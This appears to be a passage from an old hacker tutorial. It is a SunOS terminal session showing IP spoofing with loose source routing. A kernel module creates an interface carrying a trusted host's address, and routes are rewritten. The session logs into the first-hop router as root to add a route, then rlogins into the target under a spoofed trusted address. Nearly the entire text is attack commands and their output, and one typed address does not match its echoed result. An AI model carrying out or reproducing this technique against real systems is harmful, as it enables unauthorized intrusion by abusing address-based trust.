For this document, the target host is 'targethozt' with IP address
192.147.66.20.  The first hop on the source route to the target host
is a machine named 'hophost' with IP address 146.127.36.1.


haqedhozt# modload vsr.sun4m.o
module loaded; id = 5
haqedhozt# modstat
Id  Type  Loadaddr      Size   B-major  C-major  Sysnum   Mod Name
 5  Pdrv  ff263000      2000              59.             vsr
 3   Drv  ff26e000      6000              61.             lpvi 2.0 %Z% %I% %E%
haqedhozt# mknod /dev/vsr0 c 59 0
haqedhozt# ifconfig -a
le0: flags=63<UP,BROADCAST,NOTRAILERS,RUNNING>
        inet 146.127.36.16 netmask ffffff00 broadcast 146.127.36.0
        ether 8:0:20:1b:26:99
lo0: flags=49<UP,LOOPBACK,RUNNING>
        inet 127.0.0.1 netmask ff000000
vsr0: flags=80<NOARP>

haqedhozt# ifconfig vsr0 192.147.66.20 up
haqedhozt# netstat -r -n | grep 192.147.66.20
192.147.66.0         192.147.66.20        U        0      0          vsr0
haqedhozt# route delete net 192.147.66.0 192.147.66.20
delete net 192.147.66.0: gateway 192.147.66.20
haqedhozt# route add 192.147.166.20 192.147.166.20 0
add host 192.147.66.20: gateway 192.147.66.20
haqedhozt# setlsr /dev/vsr0 146.127.36.1
haqedhozt# telnet hophost
Trying 146.127.36.1...
Connected to hophost.
Escape character is '^]'.

SunOS UNIX (hophost)

login: sdf
Password:

No directory! Logging in with home=/
hophost# whoami
root
hophost# route add host 192.147.66.20 haqedhozt 1
add host 192.147.66.20: gateway haqedhozt
hophost# exit
Connecton closed by foreign host.
haqedhozt# route add host targethozt 192.147.66.20 0
add host targethozt: gateway 192.147.66.20
haqedhozt$ rlogin targethozt -l laym0r
Password:
No directory! Logging in with home=/
Last login: Tue Dec 28 18:05:29 from 192.147.66.20

Sun Microsystems Inc.   SunOS 5.3       Generic September 1993

targethozt% who am i
laym0r     pts/1        Dec 28 18:08    (192.147.66.20)
targethozt%

